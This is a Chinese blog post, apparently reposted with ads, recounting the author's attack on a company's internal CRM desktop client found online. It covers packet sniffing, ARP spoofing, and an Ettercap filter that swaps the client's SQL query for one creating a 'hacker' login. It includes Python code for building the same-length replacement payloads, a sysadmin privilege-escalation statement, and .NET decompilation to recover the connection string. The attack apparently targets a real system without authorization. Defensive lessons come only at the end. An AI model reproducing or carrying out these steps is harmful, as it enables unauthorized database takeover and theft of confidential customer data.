嗅探、中间人sql注入、反编译–例说桌面软件安全性问题

嗅探、中间人sql注入、反编译例说桌面软件安全性问题

今天这篇文章不准备讲太多理论,讲我最近遇到的一个案例。从技术上讲,这个例子没什么高深的,还有一点狗屎运的成分,但是它又足够典型,典型到我可以讲出很多大道理用来装逼。So,我们开始吧。

 

1.1 一个公司内部专用的CRM系统

CRM系统是什么,如果你不知道的话,请自行Google。从数据的角度讲,它包含了一个公司所有往来客户的机密资料,如果泄露的话,后果很严重。下面是我无意中发现的一个 站,挂着一个CRM软件的下载链接。开始的时候我以为这个是一家卖CRM的公司,但是看着又不太像。

直接是一个登录界面,我先随便输入了一个用户名,没有输入密码。

通过简单的尝试,我们可以确定这不是通用的CRM系统,是定制的,而且可以在外 使用,是否有绑定计算机不得而知,外 服务器IP不知道,是否直接连接外 的数据库服务器不知道。下面我们通过抓包来确认一下。

1.2  抓包分析

 

启动Wireshark,然后点击登录按钮,立即停止抓包,我发现了一连串的TDS包。

查询语句很明显,但是也很奇怪,开发者在用用户名查询密码,然后要做的应该是用返回的密码和用户输入的密码进行比对。不过还好,它返回的密码是加密过的。

根据对sqlserver 的了解,在登录认证阶段,默认是加密传输的,并不会暴露用户名和密码,但是我们可以通过从数据包中分析出数据库的版本和服务器的基本信息。

访问的数据库名:

当然从名字上看应该是win7系统,win7做服务器也比较奇葩。

数据版本:

第三步,arp欺骗。

1.4  FILTERREPLACE数据构造

上面的测试证明了中间人攻击可行,那么下面我们开始构造Filter脚本。先创建一个1433.filter文件,输入如下内容:

这份数据每个字符后面都填充了x00null byte,这是不可打印的,这意味着我们需要将内容全部转为16进制,然后填充x00

还有另一个问题要注意,替换的数据必须与原数据长度相同,否则会引起TCP数据传输中断。手工去做这件事略微有点麻烦,我还是写段小程序来搞定吧。

def stringToHex(string,padLength=0):

     s1=[hex(ord(s)).replace(“0x”,’\x’) for s in string];

     result=”;

     for s in s1:

          result=result+s+’\x00′

     for num in range(padLength):

          result=result+’\x20\x00′

     return result;

 

def getHex(sourceSql,targetSql):

     if len(sourceSql)

          print(‘erro’);

     else:

          padLength=len(sourceSql)-len(targetSql);

          print(stringToHex(sourceSql));

          print(stringToHex(targetSql,padLength));

         

def main():

     source=”select Employee_UserName,Employee_PassWord from E_Employee where Employee_State= 217 and Employee_UserName=’admin'”;

     target=”CREATE LOGIN hacker WITH PASSWORD=’YouGotHacked1#'”;

     getHex(source,target);

if __name__==’__main__’:

     main();

一小段python,不是什么高明的代码就不解释了,最终filter脚本的样子:

再次运行 Ettercap

我们看到filter脚本打印出来的“success replace”,是不是真的成功了呢/span>

连接成功。不过权限有点问题,我们可以再次修改Sql语句,提升它的权限,比如下面这句话:

ALTER SERVER ROLE sysadmin ADD MEMBER hacker;

这一步就不详细演示了,流程和上面一样。下面我们再回到另一个分支上,来找找软件本身的弱点。

1.5 反编译和解密

看了下面的内容,你一定会觉得我上面的操作都是瞎费劲,几分钟就解决问题了。这个例子确实是这样,不过上面的方法更通用一些,而且难度不高,是需要优先掌握的。

在软件的安装目录中,我首先看到了这样几个dll文件:

连接串确实在这里了,不过加密了。

但是到这里,我对这个程序已经没什么欲望了,即使它防护做的再好,那也是个.NET程序,是.NET程序,我就能攻破它(专业破解.NET,从未失败过)。不过令人失望的是,这个程序连基本代码混淆都没做,当然更没有壳,也没有代码加密。使用反编译工具随便点了点,然后拷贝了几段代码:

1.6 小结架构、权限管理、加密/解密、源码保护

好了,又到了装逼的环节了。这段总结是说给像我这样平时大道理一堆堆,写代码的时候一坨坨的程序员的。

首先,权限管理必须要严格控制。一个在公司内部使用的系统,为什么要挂到外 上,让任何人都可以下载据库权限控制,不同的系统划分不同的账 这是基本常识(我也经常不划分,就是为了偷懒),不同的账 控制不同的权限,甚至账 可以细化到读/写,表,存储过程级别。既然用户有角色划分,那么我们的代码必须也要有访问权限划分。不是在代码内部要访问数据的时候加个if-else,应该在调用还没开始就挡在外面。

第二,一个必须联 才能使用的程序,为什么不把数据访问,核心业务逻辑都放在远端的服务器上,公开接口给客户端调用呢有一个原因,程序员太懒。我就是搞winform的,你要老子搞什么服务端,不会!连基本的分层和服务划分都不注意,在基础架构这就留下了安全隐患,同时客户端的安全漏洞直接导致服务器被攻陷。

第三,.NET/Java 这类应用没有办法绝对防止反编译,只是时间问题。但是这不代表我们就不应该做程序保护,加壳,源码混淆,程序集加密,结合服务端获取进行rsa加密解密的动态程序集构建技术,是可以把90%的初级用户挡在门外的。城门大开就不对了。

这些话题就不展开了, 上一搜一大堆。

好吧,没什么值得继续的了,到此结束吧。

 

下面是广告时间:

关注微信订阅 ,持续推送优秀安全类文章。

嗅探、中间人sql注入、反编译--例说桌面软件安全性问题

欢迎加入 络安全群:147098303

最新 络公开课预告

时间:5月24日

内容:python黑客编程之局域 嗅探和敏感信息探测

名地址:http://edu.csdn.net/huiyiCourse/detail/126

 

文章知识点与官方知识档案匹配,可进一步学习相关知识Python入门技能树首页概览208558 人正在系统学习中 相关资源:最强劲的加密软件TrueCrypt_Setup_7.1a_最强劲的越野车- 络攻防…

声明:本站部分文章及图片源自用户投稿,如本站任何资料有侵权请您尽早请联系jinwei@zod.com.cn进行处理,非常感谢!

上一篇 2017年1月8日
下一篇 2017年1月9日

相关推荐